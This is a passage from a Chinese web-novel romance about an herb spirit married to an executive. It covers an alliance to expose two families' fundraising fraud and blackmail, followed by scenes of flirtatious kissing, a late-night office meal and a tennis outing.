被无视了问题也不恼,刚才还笑着的赵蕊在两人对面坐下,面容变得严肃,切入正题: “大家都是忙人,那今天我们就开门见山好了。” “我找段总来的目的,想必您已经清楚了。” “你的目的,不说出来我怎么会清楚。” 闻言,段闻洲笑了笑,装傻反问。 谈判最忌讳自以为是,必须要让对方先将来意和底牌彻底亮出才行。 “好,那我就再重新解释一下,我的目的很简单,就是要扳倒我父亲和赵承宏,把赵家属于我的东西拿回来。” 说到最后时,她眼底闪过一抹凶狠。 原来,这些年赵承宏仗着父亲的宠爱,将赵蕊彻底边缘化,不光强占了公司,还想将她彻底挤出赵家。 所以她蛰伏多年,隐忍这么久,就是为了有朝一日能向赵家拿回自己应得的东西,把小偷赶出去。 “既然我们有共同的敌人,何不联手起来一起对付赵家?” 她抛出了合作的橄榄枝。 “不只是赵家。” 说着,段闻洲顿了顿,看了一眼佘念。 “还有佘家。” 他话音刚落,捕捉到关键词的佘念立刻眼底闪烁起亮光,抱住了人的胳膊,眼巴巴地仰头望来。 扑闪扑闪的大眼睛里无声地传达着心声: 别忘了,一定要下手狠一点噢。 感受到手臂处传来的温度,又读懂了其眸子里的话,段闻洲哑然失笑,抬手摸了摸小朋友的头。 将两人的亲昵小动作尽数收于眼底,赵蕊眼珠子转了转,明白过来。 于是她从包里掏出一个文件袋,顺着桌面推来: “那为表诚意,我先给你们看一个好东西。” 文件袋被推到了佘念的手边,他好奇地拆开,只见里面装着的是几张照片。 段闻洲也凑近查看,而在看清照片上的内容后,他一怔,随即以迅雷不及掩耳之势捂住了小朋友的眼睛。 “诶?” 还没看清照片是什么的佘念,不明所以地歪了歪头。 “赵小姐,这些少儿不宜的东西,下次记得避着点小朋友。” 段闻洲尴尬地咳了咳,立刻从人手中拿过那些照片收起。 ——那些照片,竟然是佘群逸的床照。 照片里他赤.裸着身体躺在床上,被另一个没有拍到脸的男人压在身下,做着那档子事。 “哈哈哈哈,段总你这样子,好像个保护过度的老妈子。” 瞧见两人的反应,赵蕊哈哈大笑。 “我本来已经够忍受佘群逸了,结果那个蠢货还想下药害我,没想到却不小心惹上了赵承宏。” 笑够了后,她缓缓对两人解释道。 原来照片里的人,就是佘群逸和赵承宏。当初佘群逸想从赵小姐这里入手攀上赵家时,曾经动过歪心思,想要靠生米煮成熟饭拿捏住赵蕊。 但没想到弄巧成拙,他下的药反而招惹上了赵承宏,不但被人强.上,还拍下了艳.照。 这些照片也就沦为了他的把柄,赵承宏利用照片威胁他,逼他窃取了不少佘家的机密,然后又利用这些见不得光的秘密,拉拢佘家和自己形成统一战线。 大概这就是所谓的恶人自有恶人磨。 难怪上一次会撞见那俩人苟且,也难怪佘群逸对待赵承宏的态度又恭敬又害怕。 段闻洲心下了然。 “老公,还不能放开吗?” 就在他低头沉思时,还被捂着眼睛的佘念拍了拍他的手,出声提醒。 “咳抱歉。” 差点忘了这事,他连忙放开手。 重新恢复视线后,佘念眨了眨眼,小心翼翼地又将目光锁定在人手中的照片上。 ——越是不让看,就越是好奇。 “小朋友不能看这种东西。” 但段闻洲丝毫不给他机会,直接把照片重新装回了文件袋里。 “那我长大了就能看吗?” “……也不行。” 为了身心健康,不许接触这种。 “我这里还有其他关于他们的证据,想必段总您的手上也有吧。” 赵蕊露出一个了然于胸的笑。 “比方说,非法集资什么的。” 说到这,她眼中闪过一抹精明的光,语气笃定。 “赵小姐果然消息灵通。” 闻言,段闻洲也回以一个笑。 早在当初佘毅峰有借钱的迹象之前,他就暗地里调查过,发现佘家和赵家两家借着投资的名义在进行非法集资。 如今他的手里掌握了不少证据,并且已经联系上了几个投资人,一旦投资人起诉,赵家的负责人至少要去牢里待十年。 “我手上也有不少佘家的黑料,我们合作简直是再完美不过。” 一旦合作,两人手上的材料便可形成互补,届时出手就会有更大的威力。 所以赵蕊知道,这是一场划算的交易,段闻洲会答应的。 为了表示自己的诚意,她又拿出了另一些关于赵家背地里非法行事的证据材料。 而在看了看材料里面的内容后,段闻洲勾了勾唇,对赵蕊伸出手: “那么,赵小姐,合作愉快。” “当然段总,请多指教了。” 达成合意,两人相视一笑。 “我等这一天很久了,愿意忍他赵承宏那么多年,就是为了现在。” 终于达成了合作,赵蕊心底的一块石头落了地,卸力地向后靠倒在椅背上,掏出一根细烟想要放松一下。 打火机噌地一下点燃,火苗冒出。 这不大不小的动静倒把佘念吓到了,瞥见火焰,他猛地抖了抖身体。 ——他怕火。 作为草木植物,火是他们的克星,随便一点火星子就能燃尽整个森林,所以佘念一直很害怕火焰。 他吓得往段闻洲身后缩了缩,警惕地望向对面的赵蕊,欲言又止,不知道是否能出声提醒。 见状,段闻洲低头瞥了一眼小朋友,又看了看对面准备抽烟的赵蕊,猜测是不是打火机把小朋友给吓到了。 “别怕,只是打火机。” 于是他一边小声安慰着人,一边提醒着对面的人。 “抱歉赵小姐,能麻烦你把烟灭一下吗?” “哦不好意思,我忘了,一下子太高兴没注意。” 这才意识到在室内抽烟不太合适,松懈过头的赵蕊连忙道歉,把烟给掐灭了。 看见烟和打火机都被收起来了,佘念这才安下心来,抚着胸口长出一口气。 “谢谢老公。” 他圆溜溜的眼睛眨动,揪了揪段闻洲的衣袖,小声道谢。 ———— 和赵蕊达成合作后,段闻洲肉眼可见地忙了起来。 要处理的事更多,一贯按时下班的他,今天破天荒地加了班。 “抱歉,今晚上我要晚点到家,你先自己吃饭,按时睡觉。” “好哦,你要早点回来呀,我在家等你。” 挂断电话后,独自一人在家的佘念,后知后觉反应过来一件事。 既然老公加班回不来的话,那自己是不是可以去公司找他呢? 第52章 倒也不是有什么重要的事必须要找他, 主要是自己在家也没事做,不如去公司陪老公加班。 越琢磨越这个点子觉得可行,佘念眼珠子转了转, 拿定了主意。 说走就走, 他拜托司机送自己去了段氏集团大楼, 在去的路上还顺手打包了一份夜宵。 ——万一老公忙于工作还没吃饭呢,毕竟他也算是在帮自己的忙, 自己当然要犒劳一下他啦。 现在是深夜九点,因为不提倡加班, 所以这会段氏集团大楼亮灯的办公室已经不多。 对比之下,顶楼那间灯火通明的办公室就显得格外惹眼。 谢过司机后, 佘念提着爱心夜宵上了楼。 来到总裁办公室外, 他规矩地敲了敲门。 “请进。” 正埋头在办公桌边处理工作的段闻洲头也没抬, 以为是秘书或者其他人。 见状, 佘念也没有出声,而是故意假装其他人走了进去。 他来到办公桌边站着,双手背在身后, 就这么眨巴着眼, 一言不发,静静期待着人发现自己后的反应。 见来人一句话也没说, 不解的段闻洲停下签名的动作, 抬眼看来问道: “什么事——” 话还没说完,在看清来人后,他霎时瞪大了眼, 眼中闪过一抹诧异。 “你怎么来了?” 他有些惊喜,连忙起身上前。 “嘿嘿,我来看看你呀。” 见终于被发现, 佘念嘴角咧出一个弧度,歪了歪头,笑着把手中的夜宵递过去。 “这是什么?” “是给你带的夜宵,我怕你还没吃饭,或者忙到这会又饿了。” 一边说,佘念一边打开了包装盒。 他都是按照段闻洲的口味来准备的夜宵,除了人最爱的清淡鱼片粥外,还额外买了好多其他的吃食。 ——当然,其中也有一点夹带私货,有那么一两份是佘念自己爱吃的。 而实际上段闻洲确实还没好好吃饭,为了加快工作进度早点回家,他晚饭只随便对付了几口,这会已经有点饿了。 没想到小朋友真是有心了,专门给自己带来了夜宵,还都是准备的自己爱吃的。 不过聪明如段闻洲,他自然也发现了其中的烧烤不是给自己买的。 一看还是佘念爱吃的。 而且小朋友的眼睛还直勾勾地盯着肉串,好像生怕吃不着似的。 他忍不住低笑一声,不动声色地将烧烤推到人面前,并邀请道: “来,陪我一起吃。” “好!” 而佘念像是早就在等这句话一样,听他这么说,立马摇着尾巴过来了。 “你吃这个。” 紧接着,段闻洲主动拿起一串烧烤,递到了人跟前。 佘念咽了咽口水,直接就着他的手咬下签子上的肉,一边嚼还不忘招呼他吃: “你也……嚼嚼嚼,也吃啊。” “好。” 这个吃了晚饭的小朋友,怎么看起来比自己还饿,段闻洲忍俊不禁。 寂静的深夜,加班的总裁办公室却呈现出截然不同的温馨,明亮的灯光驱散掉黑暗,食物的香气扑鼻而来,互相陪伴的两人虽然身处不合时宜的办公室,但享用夜宵的举动并不违和。 吃完后,段闻洲觉得浑身的疲惫一扫而空,干劲又充满了全身。 ——或许,不单单是夜宵的功效。 “好啦,你先忙吧,工作还要多久呀?” 怕人操心,佘念还主动接过了收拾桌子的任务,把垃圾装进袋子里捆好。 “大概还要一小时,你先在沙发上等我一会,或者困了的话也可以去内间里睡一下。” 一边说,段闻洲一边扯了一张纸巾,替小朋友擦了擦还有油光的嘴唇。 “我就在沙发上等你吧。” 乖巧地任由人擦干净嘴角后,佘念眯眼答道。 不过就在他转身准备去沙发上躺着时,似乎是又想起了什么,随即掉头回来。 紧接着,只见他竟直接跨坐在了段闻洲的大腿上,双手捧起人的脸,仔细端详着。 距离凑得极近,近得仿佛能看清他纤密的每簇睫毛。 弯弯的,长长的,好像能在上面滑滑梯。 而拧起眉头的佘念,则专注地打量着对面的人。 大概是这段时间劳累的原因,段闻洲的脸上有明显的疲色,眼底也多了一圈乌青,显然是因为睡眠不足。 “老公,你辛苦了,最近是不是很累啊?” 他眨巴了一下眼睛,直视着人的目光认真地问道。 小朋友凑得太近,说话间呼出的热气扑在了脸上,叫段闻洲有片刻失神。 他定了定神,抬手抚上人的手背: “还好,等忙完这段时间就好了。” 既然段闻洲这么忙,而且也算是帮了自己的大忙,那自己也不能只是旁观看着,得想个办法也帮帮人才行。 能做什么呢…… 佘念眼珠子一转,想到了自己能帮忙做什么。 ——那就让自己来帮老公驱散掉疲惫好了。 于是他拉下段闻洲的手,让其搂住自己的腰,然后一脸认真地说道: “老公,你亲亲我。” “什么?” 一时间还以为自己出现了幻听,段闻洲缓慢地眨了一下眼睛,不确定地反问。 听错了吗,他刚刚说的是不是亲亲? “我说你亲亲我呀。” 见他还不动如山,佘念急了,甚至还挪了挪屁股,朝人的方向靠了靠。 这样的举动和距离着实有些危险,感受到大腿根部的重量,段闻洲连忙收回手抵住人的肩膀,让其不要乱动。 原来没听错,说的就是亲亲。 他想不明白,好端端地,为什么小朋友要让自己亲他? 亲吻一事,对于现在的两人来说有点太过越界,自从结婚以来,两人虽然在一张床上睡过,也拥抱过,但除此之外,就再也没有其他更深入的举动了。 以两人现在的关系来看,亲吻怎么看都不是他们之间所能做的事。 只是,今晚的佘念如此主动地坐到自己的腿上,嘴里又嚷嚷着要自己亲他,这样一系列热情的动作下来,任谁都会多想。 太主动,太暧昧了。 但实际上,佘念让段闻洲亲自己,其实并没有其他的意思,只是单纯秉着想帮人缓解疲劳的心思罢了。 作为一株蛇舌草药材,化为人型的他是具有替人消除疲劳的作用的,而只有深入接触才能发挥这样的效果, 所谓的深入接触,既包括拥抱等肢体接触,也包括亲吻。 这也是为什么刚刚佘念会直接坐到人大腿上来。 只不过亲吻比拥抱效率更高,所以他才会提议让人亲自己。 “你快亲我一下啊!” 见对面的人半天没动作,佘念急得直接摇晃起他的肩膀来。 “快一点呀——” 小朋友祈求的语调拉得格外的长,撒娇的话语在耳边萦绕,大概是谁都无法抵御一个可爱小男生这么做的。 段闻洲亦如此。 架不住人的反复请求,他终于选择了屈服: “好,我亲。” 闻言,摇晃着肩膀的手终于停下,佘念还特意凑近了几分,湿漉漉的圆眼抬眸看来。 就连头都微微昂起了几分,摆明了一副做好准备等亲的样子。 见状,段闻洲深呼吸一口气,随后在人的额头上落下一个亲吻。 吻一触即分,在额心处轻轻印下,随即便分离。 “可以了吗?” 这下总该满意了吧,段闻洲捂着嘴唇偏过了头,面上不显,依然一脸镇定,但耳廓的薄红却暴露了他内心的真实想法。 只是,被亲了额头的小蛇舌草精缓慢地眨了眨眼。 不对呀,不是亲这里的! 要亲嘴巴,亲嘴巴才行的啊! 哎呀,看来还是得自己亲自来才行。 这般想着,恨铁不成钢的佘念决定亲自动手了。 “要亲这里才行呀。” 只见他掰正段闻洲的脸,将其捧起,然后对着人的嘴唇径直吻了下去。 唇瓣陡然贴上一层柔软,温热,又软绵绵的,是从未体验过的触感。 意识到佘念在干什么后,段闻洲瞪大了眼睛,愣在原地,一时间竟然都忘了推开人。 显然佘念也很青涩,或许也是第一次做这样的事,他只是毫无章法地在嘴唇的表面吸.吮.碾.揉。 并非游刃有余的挑逗,但威力不相上下。 霎时间,段闻洲只觉脑海里有一簇烟花炸开,大脑一片空白,浑身一动不动,任由小朋友“非礼”着自己。 直到有湿热的小舌舔.舐着唇瓣,试图钻入口腔内,他才猛地回过神来,一把将身前的人推开。 “唔?” 不明所以的佘念还懵着,呆愣愣地盯着人,就连伸出的舌头都还没收回,火热的舌尖就这么吐在外面。 刚刚还好好的,怎么突然就不让亲了呢?都还没给你补充完体力呢。 如果能交换□□的话,替人拂去疲惫的效率会更高,所以佘念才会伸舌头,并没有其他的意思。 他的嘴唇因碾.吸的动作而充血泛红,盈盈泛着一片水光,色泽诱人,吐露的小舌和唇瓣一样艳.红,散发着引.诱的气息。 这个样子,太糟糕了点。 明明是始作俑者,却仿佛被人欺负了一样无辜。 一时间,段闻洲的心脏仿佛被羽毛给挠了一下,痒意从心底蔓延至全身。 “你在干什么?” 他攥紧拳头,强作镇定地问道。 “在给你补充体力呀?” 被问到的佘念歪了歪头,一脸无辜。 仿佛刚刚主动吻上来,并主动伸舌头的不是他一样。 如果不是知道小朋友本性单纯,段闻洲真的要怀疑他是不是故意的了。 大概,可能又是被谁给教了点奇奇怪怪的东西吧,就像上次一样。 这么对自己解释着,他深吸一口气,努力使自己的心情平复下来。 “佘念,以后不许随便亲别人,知道吗?” “我只会亲你呀。” 别人求我我都不一定亲呢,我只愿意给你补充体力,佘念撅嘴说道。 表情看上去还有些不乐意。 随后,他又抓住了机会,在人嘴唇上快速偷亲了一口。 嗯这下好了,看上去已经完全消除疲惫了。 做完这一切后,小蛇舌草双手叉腰,满意地看着自己的杰作。 却丝毫不知,这样的撩拨惹起了多大的火。 第53章 止步于唇瓣的吻一掠而过, 仿佛蜻蜓点水般,只留下一阵波纹涟漪,搅动着原本平静的水面。 霎时, 段闻洲只觉得浑身温度陡然升高, 莫名的燥.热席卷而来。 “老公, 你怎么啦,脸看上去好红?” 偏偏始作俑者还毫不知情, 一脸单纯地关切询问。 甚至柔软的臀.部还压在自己的大腿上,跨坐其上, 随便一动就会带来不可挽回的后果。 那双葡萄般的大眼睛,剔透明亮, 睫毛纤密, 蝴蝶扑扇翅膀一样眨了眨, 眼眸宛如林间的湖面一样清澈见底。 虽然未主动邀约, 但却有着无声引诱的魔力,让人不自觉被吸引,坠入其间。 再这么僵持下去, 大概真的要出事。 想到这, 段闻洲连忙扶着佘念的腰,让他从腿上下去, 逃避般地撇开了脸。 “你、你去沙发上坐一会, 我这边马上就忙完了。” “噢,好的。” 听到人要忙工作了,佘念便乖乖地自己去沙发上了, 不再打扰人。 如此乖巧温顺,丝毫不知自己险些撩拨起多大的火。 深呼吸一大口气,段闻洲努力使自己的心情平复下来, 冷静些许后,他脸上的温度渐渐消减。 他扶着额头,不由得沉思起来。 他知道,佘念本身应该没想那么多,小朋友对复杂的情爱不甚了解,可能只是没有意识到这个动作有多暧昧。 正如佘念本人所说的,亲一亲就能缓解压力,或许他只是将其理解为了另一种含义,善意地想要帮自己。 只是,还会主动伸舌头…… 回想起刚才的触感,段闻洲只觉脸上好不容易压下来的温度,再次飙升。 更让他慌乱的是,如今细想起来,他发现自己居然并不厌恶这样的接触。 换句话说,如果刚刚佘念硬要继续,可能自己也不会拒绝…… 这样的发现让段闻洲的思绪混乱起来。 乱麻一般剪不断理还乱,他的心情更烦躁起来,完全不能集中精神在工作上,便下意识拿过一支烟。 随着打火机咔嚓一声轻响,火苗窜出,沙发上的小朋友听见动静,瞬间身体抖了抖,像是被吓到了一样,猛地抬头看过来。 只见他眼睛直勾勾地盯着人手中的打火机,如临大敌。 差点忘了,这小朋友好像怕打火机,上次就被吓得不轻。 是因为怕火吗? 段闻洲思索片刻,又按下了打火机开关。 咔嚓一声,火苗冒出,小朋友抖一抖。 又咔嚓一下,又有火焰,小朋友颤了颤。 仿佛打火机的开关连着佘念的一样,每每窜出火苗,就会吓到他。 虽然不太道德,但是眼前这幅画面确实很搞笑,段闻洲一时没忍住,噗嗤笑了出来。 “老公你欺负我!!” 这才意识到被捉弄了,佘念反应过来,气呼呼地谴责他。 “抱歉,不会了。” 段闻洲一边憋笑,一边将火机和烟丢进了抽屉里。 既然佘念害怕火,那自己以后还是别当着人的面抽烟好了。 ———— 晚上十点半时,段闻洲终于结束了工作。 他活动了一番酸疼的颈肩,正想出声喊佘念走,却发现人已经躺沙发上睡着了。 小朋友脑袋枕在沙发扶手上,眼睛紧闭,连手里的手机都还没放下,就这么迷糊着径直撅了过去。 一看就是困懵了,在玩手机的中途直接睡过去了。 也是,他在这里等了自己这么久,如今这么晚了,肯定会困的。 想到这,段闻洲没有叫醒人,而是放轻脚步走上去,小心地将人横抱起来。 “唔……” 即使被抱了起来,佘念也还没醒,只是闭着眼睛嘟囔了两声,然后又往人怀里蹭了蹭,重新寻了个舒服的位置睡下。 就像一只黏人的小兽一样。 他的睡相很乖,细密纤长的黑色睫毛眯成一条缝,白皙的脸蛋光滑白净,小嘴微微张开一个口,随着呼吸的频率一起一伏。 大概是最近被养出了点肉的原因,脸颊圆润了几分,靠在胸膛前,被挤出了一小块软肉,看上去就手感很好,让人忍不住想要捏一捏。 睡眠质量还挺好,被抱起来都没醒。 见状,段闻洲不由得低笑一声。 这幅模样叫谁看了都会心底一软,他没忍住低下头,在人毛绒绒的发顶落下轻吻。 “晚安。” 他轻声道,嗓音温柔得能滴出水来。 ——换做之前,他自然不会有这番越界的举动,可不知为何,一回想起刚才那个蜻蜓点水的浅吻,心底就泛起阵阵涟漪。 于是情不自禁的,在人看不见的角落,也落下了一个吻。 ———— 经过一段时间的筹备,针对佘家和赵家的报复计划正式启动。 在一个深夜,有关赵承宏和佘群逸的花边新闻被爆出,瞬间冲上热搜。 就在该消息被他人花钱压下时,又有另一个重磅炸弹被掷入水中,掀起惊涛骇浪。 #佘氏集团和赵氏集团被爆非法集资十亿# #佘氏上季度营业额亏损超八亿# #赵氏集团被指不正当竞争,涉嫌行贿受贿# 一时间,关于两家的爆料如同雨后春笋一样冒出,形成铺天盖地之势,任谁也别想花钱全部压下。 很快,官方部门也对外发布了正式公告,宣布已经对佘氏和赵氏进行立案调查,拘留了两家的主要负责人。 更多的证据被披露和举报,案件很快就会被提交至法院进行审理。不出意外的话,佘毅峰和赵承宏等人将被判处至少十年有期徒刑。 同一时间,佘家陷入了内斗,各派亲戚见公司危机,争相夺取股份,无能的佘群逸根本无法服众,以至于高层管理层几乎瘫痪。 而赵蕊则趁着赵父和赵承宏入狱的这一机会,上位拿下了赵家,掌管大权。 至此,佘家正式没落,赵家易主,A市上层发生了翻天覆地的变化。 这些消息佘念都是从网上和段闻洲的口中得知的。 确保佘家的那群人都得到了教训,他才算是替原主讨回了公道。 “那接下来,我会替你好好活下去的哦。” 得到消息时,看着屋外万里无云的蓝天,他轻声喃喃道。 既然已经完成了替原主报仇的目标,那接下来自己要在人类社会中生存,就得寻找新的目标,亦或是意义了。 会是什么呢? “在发什么呆?” 瞧见小朋友独自在窗边发呆,段闻洲走近,上前摸了摸人的头。 “没有发呆。” 闻言,佘念猛地甩了甩头,然后转身一把搂住了他。 “谢谢你呀,老公。” 如果没有段闻洲的话,报复佘家的事肯定没有这么快能结束,多亏了他,于情于理自己都该道谢的。 “这么见外,跟我还客气什么。” 听见他的道谢,段闻洲笑了笑。 嘿嘿,老公真好,一点都不想分开,以后我还要继续待在他身边。 这般想着,佘念恋恋不舍,忍不住在人怀里蹭了蹭。 ———— “嘿老段,为表庆贺,出来打网球放松放松呗?” 某天下午,祁宁的电话又打了过来。 几人都知道这段时间段闻洲一直在忙活大事,所以一直没敢打扰他,如今见尘埃落定,事情结束,便立刻打电话来邀请他放松了。 几人在俱乐部的网球场汇合,因为提前包了场,全部场地都可以供他们使用。 出发前,佘念还特意换上了段闻洲为他准备的网球服。 天蓝色的运动短袖,配上白色的运动短裤,白袜向上拉到小腿中间,洋溢着满满的青春气息。 说是高中生也不会让人怀疑。 “老段,真不考虑让你家佘念给我当模特吗?我们新出的品牌正好在找这种可爱型的模特。” 看见佘念的新打扮,祁宁感慨道,胳膊搭在段闻洲的肩膀上问。 闻言,段闻洲挑了挑眉: “我们家佘念可是很贵的,你起码得开三倍价格给他才行。” “哟哟哟,这就你家佘念了。” 听见他的称呼,祁宁摆出夸张的表情挤兑。 “难道不是我家的吗?” 见状,段闻洲反问。 “还真就是他家的。” 走近的陆远修接过话头。 “我看祁宁你就是想白嫖吧,让人家给你友情出镜什么的。” 贺扬嘻嘻笑道。 “去你的,我是那种人吗?” 被戳穿的某人佯装恼羞成怒。 “你们在说什么呀?” 后一步赶来的佘念挤进去,好奇地问。 “我们在说你是不是段闻洲家的。” 陆远修转述道。 “我当然是老公家的呀。” 毕竟我们结婚了呢,佘念眨了眨眼,大大方方地承认。 “小佘念。” 闻言,祁宁拍了拍他的肩膀,语重心长地对人说。 “你这么单纯,我真怕哪天你被这个老狐狸给吃干抹净了,要知道他可不是个省油的灯,绝没有面上那么温柔。” “啊?” 不明所以的佘念茫然。 “别理他胡诌,走,我教你打网球去。” 段闻洲好笑地打断他们,一把揽过小朋友的肩,带人往球场走去。 虽然说段闻洲的网球技术不错,教人也耐心,但架不住我们小蛇舌草精从来没剧烈运动过,肢体实在不协调。 在连续被网球袭击了三次后,佘念主动放弃了,任凭段闻洲怎么哄,都不肯重新握网球拍了。 于是他只好让小朋友去一旁的休息区庇荫,自己重新和祁宁单打了。 独自坐在阴凉地方,佘念也不觉得无聊,自己捧着冰水,摇晃着脚尖,欣赏着球场上的段闻洲打球的身影。 不得不说,运动中的男人很有魅力,健壮的胳膊挥舞着球拍,浑身上下的肌肉都绷紧发力,流畅的线条上青筋凸起。 每一个挥拍的动作都充满爆发力,有着十足的男性魅力。 还是看别人打球更有意思,自己上场只会被球打。 美滋滋地盯着人的身影看,佘念乐在其中。 中场休息时,对面的祁宁朝段闻洲扬了扬下巴,示意他往后看去: “你家小朋友都快把你盯穿了。” 闻言,段闻洲回头看去,正好迎上那双笑意盈盈的圆眸。 小朋友歪了歪头,露出一个灿烂的笑,满心满眼都是老公的身影。 不自觉地,段闻洲的嘴角也缓缓上翘几分。 第54章 “老公——” 见两人停下来中场休息了, 后方的佘念连忙噔噔噔地小跑上前。 他捧着毛巾,踮起脚来主动替人擦汗。 白色的毛巾轻柔地在脸颊上印了印,拭去男人脸侧滚落的汗珠, 力道轻柔。 “我帮你擦擦汗。” 一边说着, 佘念一边专注着手上的动作。 “谢谢, 我自己来就好。” 见状,段闻洲本想拿过毛巾自己动手, 却被他抬手避开。 “让我来。” 他一脸认真地说道,拒绝其提议, 继续手上的动作。 没法,段闻洲只好顺着他, 还贴心地弯下了腰, 好方便他动作。 阳光正面照在佘念的脸上, 今天的温度不算低, 他的脸颊上也有几滴汗珠滚落。 豆大的汗珠从发梢滴落,沿着脸颊的轮廓一路下滑,最终掩于锁骨的下方, 钻进敞开的领口, 变得隐秘不可见,只留下晶莹的水痕。 看见这幅画面, 段闻洲的眼底暗了暗。 于是他抬起手, 用手背替人拭去脸上的汗珠。 “唔……” 感受到脸蛋处贴上的温热,佘念微眯起眼睛,小声嘤咛一声, 乖顺地任由人动作。 但他没有分神,依然全神贯注地继续着手上的动作,仿佛这是他此刻最重要的事, 谁都不能来打扰他。 给人擦完汗后,佘念还细心地又拿出了一瓶冰水,贴在了人的脸颊上。 “喏,老公你喝点水补充一下水分。” 他勾唇笑着,歪了歪头。 看着人小媳妇一样粘人又贴心的举动,其余的三人不由得心底泛酸。 祁宁:啧啧啧。 贺扬:哟呦呦。 陆远修:般配。 “够了啊你俩,球场禁止腻歪。” 走上前来的贺扬嚷嚷着,佯装不爽,作势要用球拍将两人隔开。 “羡慕?” 见状,段闻洲挑了挑眉,专门举起手中的冰水,仰头喝下。 “去你的,有人擦汗有人递水了不起啊。” 祁宁笑骂,然后又贱兮兮地凑到佘念跟前询问。 “小佘念,你这么心地善良温柔大方,想必一定准备了不止一瓶水吧?” “那个……” 还真就只有一瓶水,而且已经被人给喝掉了,佘念忽然心虚起来。 “不许吓他。” 说着,段闻洲用冰水的瓶子贴在祁宁的后颈,冰得人呲哇乱叫。 “现在去给你们买水。” 说完,他还看向佘念。 “顺便带你去买冰淇淋吃,好不好?” “好!” 听见两人的对话,看着两人渐渐走远的背影,祁宁摸着下巴嘟囔: “我怎么感觉,带人去买冰淇淋是主要的,给我们带水才是顺便的呢?” “知道就好,人贵有自知之明。” 陆远修打趣道。 “走,我们几个单身狗就继续打球去。” ———— 球场后方的大楼内有卖饮品的地方,佘念跟在段闻洲身后,亦步亦趋地走着。 他仰头观察着人的脸色,问道: “老公,你是不是有点累呀?” “还好。” 毕竟打球肯定会消耗不少体力,段闻洲没有在意这个问题。 可这话落在佘念耳中,将其理解成了默认的意思。 于是他在原地站定,拽住人的衣角。 陡然被拉住,段闻洲有些不解,刚好奇地回过头来,身旁人的面容却猛地放大。 嘴唇上重新传来熟悉的触感,原来是佘念再次吻了上来。 意识到发生了什么后,段闻洲的瞳孔骤缩,满是震惊,浑身僵硬,一时间都忘了将人推开。 而反观佘念,却是平静极了,甚至还闭上了眼,沉浸地进行这一吻。 ——其实他想得并不复杂,只是觉得既然老公打球打累了,那自己就再替人消去疲累,给人补充一下体力好了。 浅吻印于唇瓣,依然还是一样的停于表面,但撩拨心弦的程度却丝毫未减。 男人的大手抬起,本想将对面的人分开,可手掌在空中停顿了片刻后,最终还是没有行动,转而搂住了人的后背。 他到底是从哪里学到,打着补充体力的名义做这种事的? 这么做倒也不是不能补充体力,只是这样带有挑逗意味的举动,暗示性太足。 忽然间,段闻洲有一种冲动。 一种想发力将人抵至墙角,抢夺过主动权,把这个吻演变得更深入的冲动。 他想长驱直入,告诉小朋友什么才是真正的吻;他想狠狠地掐住人的腰,肆意欺负得身下的人红了眼。 许多恶劣的欲望在心底滋生,叫段闻洲本人都有些诧异。 他很惊讶,一向欲望淡泊的自己,竟会幻想做这些事。 最终,所有的欲望都被克制于内心,暂时封锁起来。 但是,或许在未来的某一日,还会被真正付诸于实践。 在无人的建筑物背面,他们在阴影中接了一个蜻蜓点水的吻。 微风习习,吹乱了谁的心,又吹进了谁的梦。 “哇,冰淇淋好甜呀。” 拿到心心念念的冰淇淋后,佘念迫不及待地尝了一大口,美味地舔了舔嘴唇。 火红的小舌略过唇瓣,留下晶莹的水渍,水润得格外晃眼。 让人不由得想起方才的事。 段闻洲眼神暗了暗,口不对心地回道: “嗯,是很甜。” ———— 自从使用过亲吻的办法,给人额外补充体力后,佘念觉得自己似乎迷上了这种做法。 因为他发现,和段闻洲亲吻的感觉很奇妙。 在从前的佘念看来,亲吻只是一个人类间很简单的肢体接触,和牵手,拥抱之类的举动没有什么差别。 因为在植物的世界观里,是没有亲吻这样的概念的。 可当他真正与人接吻过后,他才发现这个举动似乎有着不同的含义。 ——每一次亲段闻洲,他都会觉得浑身好似有电流窜过。 这样的感觉很神奇,也很难用语言描述,就好像是内心忽然破开了一个深渊巨口,怎么也无法满足,叫嚣着想要更多去填补。 但佘念也不知道,究竟要怎样才能补足心底的欲望。 所以他只能用亲吻,渐渐地也带上了私心,打着给人补充体力的名号,增加了同人肢体接触,包括亲吻的频率。 希望不要被老公发现才好,他会不会觉得我是个坏东西…… 一想到自己夹带私货的做法,佘念就小脸一红。 “怎么脸这么红?” 看见沙发上的小孩满脸通红,段闻洲还以为他生病了,走过去用手背贴了贴人的额头。 “老公……” 见他来了,佘念可怜兮兮地仰头看来,咬着下唇,模样委屈极了。 “嗯?我在。” “我不是个坏东西,对吧?” 一定不是吧,不是一个徇私舞弊,趁着帮助老公想多亲亲的坏人吧quq。 怎么突然这么想?小朋友的脑回路还真是奇怪。 闻言,段闻洲有些好笑。 “当然不是,佘念是世界上最乖最可爱的好孩子。” 紧接着,他柔声回答,并摸了摸小朋友的脑袋。 那就好。 得到满意的答复,佘念咧嘴一笑,抬手环住人的脖颈,趁机又吧唧了一口。 “谢谢老公,给你补充一下体力。” 他嘿嘿笑道。 ———— “小佘念!江湖救急!你明天有没有时间?” 这日,祁宁的电话忽然打来,语气听上去十分焦急,好像有什么紧急的事情。 “有时间的话能拜托你来救一下场吗?明天约好的模特突然出车祸了。” 原来,祁宁自创的品牌最近有一套新系列的饰品面世,约好了业内一位有名的模特担任代言人,并负责拍摄宣传图片。 可没想到临近拍摄日,模特却意外出了车祸,需要在医院躺上好几个月。 但时间不等人,如果明天不完成宣传照的拍摄工作的话,就会耽误接下来新款的发行推广。 时间紧急,再找其他模特肯定来不及,考虑到佘念的长相很符合要求,祁宁便第一时间想拜托他来救场。 “拍广告?可是我不会啊……” 这就触及到小蛇舌草精的知识盲区了,他想帮忙,但又有些犹豫。 “很简单的,设计妆造都有专人负责,你就按照摄影师的指导摆动作就好。” 见他似乎愿意,祁宁连忙补充道。 “待遇的话这边也好说,你要是不放心的话就让你家老段报价。” “唔,那你稍等一下,我跟老公商量一下,晚点给你答复可以吗?” “可以可以,我等你消息!” 挂完电话后,佘念跑去找段闻洲,跟他说了一下这件事。 “那你想去吗?” 闻言,段闻洲并没有直接摆出态度,而是询问他的意见。 “其实,是有一点想的。” 说着,佘念竖起一根手指,小声地道。 一来是想帮祁宁的忙,因为佘念知道他是个好人,所以愿意帮一把,二来是对拍摄一事很好奇,想了解了解。 “但是我不会,我怕弄砸。” 万一耽误了人家怎么办,听上去这事情可是十万火急,佘念又有些犹豫。 “想去的话就去,别怕,我给你撑腰,要是不适应就直接退出。” 反正有自己当后盾,再说了公司也是祁宁的,还有谁敢说他不成,段闻洲揉了揉他的脑袋,安慰着说道。 